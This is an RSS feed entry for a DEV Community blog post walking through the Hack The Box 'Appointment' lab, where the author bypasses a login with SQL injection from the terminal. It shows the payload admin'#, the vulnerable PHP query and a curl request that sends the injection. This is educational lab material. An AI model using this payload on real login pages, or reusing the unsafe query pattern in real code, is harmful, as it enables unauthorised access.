<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Shashank Mishra</title>
    <description>The latest articles on DEV Community by Shashank Mishra (@sh4nks).</description>
    <link>https://dev.to/sh4nks</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1814310%2F56666c8a-e18a-4818-83c1-9db678111982.jpg</url>
      <title>DEV Community: Shashank Mishra</title>
      <link>https://dev.to/sh4nks</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sh4nks"/>
    <language>en</language>
    <item>
      <title>Harder HTB: Using only the terminal</title>
      <dc:creator>Shashank Mishra</dc:creator>
      <pubDate>Sun, 28 Jul 2024 09:17:15 +0000</pubDate>
      <link>https://dev.to/sh4nks/harder-htb-1d9l</link>
      <guid>https://dev.to/sh4nks/harder-htb-1d9l</guid>
      <description>&lt;h2&gt;
  
  
  Attempting Tier 1: Appointment
&lt;/h2&gt;

&lt;p&gt;This is the first challenge in the 1st tier, right after you complete the challenges in 0th tier. In this challenge, a walkthrough is prescribed for how to perform SQL Injection. The lesson is a pretty nice step-up from the previous challenges, and a fun one to solve at that. &lt;/p&gt;

&lt;p&gt;To complete the challenge, essentially you have to open the webpage in your browser and then enter the injection credentials, which are as follows -&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username - admin'#
password - anystring
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The way this specific injection works is it injects the username and escapes the sequence so that the password field is not considered during the DB query. A beautiful walkthrough is available on &lt;a href="https://app.hackthebox.com/starting-point" rel="noopener noreferrer"&gt;HTB&lt;/a&gt;, you can check that out for more details. &lt;/p&gt;

&lt;p&gt;Now, is it possible to perform this injection without using your browser, only using your terminal?&lt;/p&gt;

&lt;p&gt;There are a range of reasons why you might do this. For e.g. the proxy might not be setup correctly so you cannot open the &lt;code&gt;IP&lt;/code&gt; of the target machine in your browser (so you are NOT on the same network as the target on your browser), so you cannot view the webpage. In this case you will not be able to get the flag required to complete the challenge. However there's a little workaround.&lt;/p&gt;

&lt;p&gt;Using the excellently written walkthrough (massive props to @0ne-nine9 and @ilinor), we can find lots of valuable information. Studying the &lt;code&gt;php&lt;/code&gt; code mentioned in the walkthrough. we can understand how the authentication is happening specifically&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$username=$_POST['username']; # User-specified username.
$password=$_POST['password']; #User-specified password.
$sql="SELECT * FROM users WHERE username='$username' AND password='$password'";
# Query for user/pass retrieval from the DB.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;POST&lt;/code&gt; request is made when you click the login button on the webpage, and then two input fields are sent in the &lt;code&gt;POST&lt;/code&gt; request - &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt;. With all this information, we can essentially form a &lt;a href="https://curl.se" rel="noopener noreferrer"&gt;&lt;code&gt;cURL&lt;/code&gt;&lt;/a&gt; request and access the webpage.&lt;/p&gt;

&lt;p&gt;Conversely you could also perform a &lt;code&gt;GET&lt;/code&gt; request and get the website html on your terminal. You will find valuable information in the html markdown of the form field -&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div class="wrap-input100 validate-input" data-validate = "Enter username"&amp;gt;
&amp;lt;input class="input100" type="text" name="username" placeholder="Username"&amp;gt;
&amp;lt;span class="focus-input100" data-placeholder="&amp;amp;#xf207;"&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;div class="wrap-input100 validate-input" data-validate="Enter password"&amp;gt;
&amp;lt;input class="input100" type="password" name="password" placeholder="Password"&amp;gt;
&amp;lt;span class="focus-input100" data-placeholder="&amp;amp;#xf191;"&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, you can see the &lt;code&gt;name&lt;/code&gt; values for the username and password field, which is the name that will be used to &lt;code&gt;POST&lt;/code&gt; the data to the server. &lt;/p&gt;

&lt;p&gt;Now using this we can form a &lt;code&gt;cURL&lt;/code&gt; request using &lt;code&gt;Postman&lt;/code&gt;, it is as follows -&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl --location 'ip_target_machine' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'username=admin'\''#' \
--data-urlencode 'password=anythingyouwant'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Usually data is sent as &lt;code&gt;x-www-form-urlencoded&lt;/code&gt; if you are sending an HTTP request with only text parameters. &lt;/p&gt;

&lt;p&gt;The password can be whatever you want it to be, because the injection overrides the requirement for a password. &lt;/p&gt;

&lt;p&gt;Now if you enter this in the terminal, the entire http page should get published in your terminal, along with the successful authentication message at the bottom -&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;h3&amp;gt;Congratulations!&amp;lt;/h3&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h4&amp;gt;Your flag is: flag0000000000000000&amp;lt;/h4&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Congrats! You just got the flag without using a browser, or any GUI for that matter!&lt;/p&gt;

</description>
      <category>htb</category>
      <category>pentesting</category>
      <category>curl</category>
      <category>proxy</category>
    </item>
  </channel>
</rss>
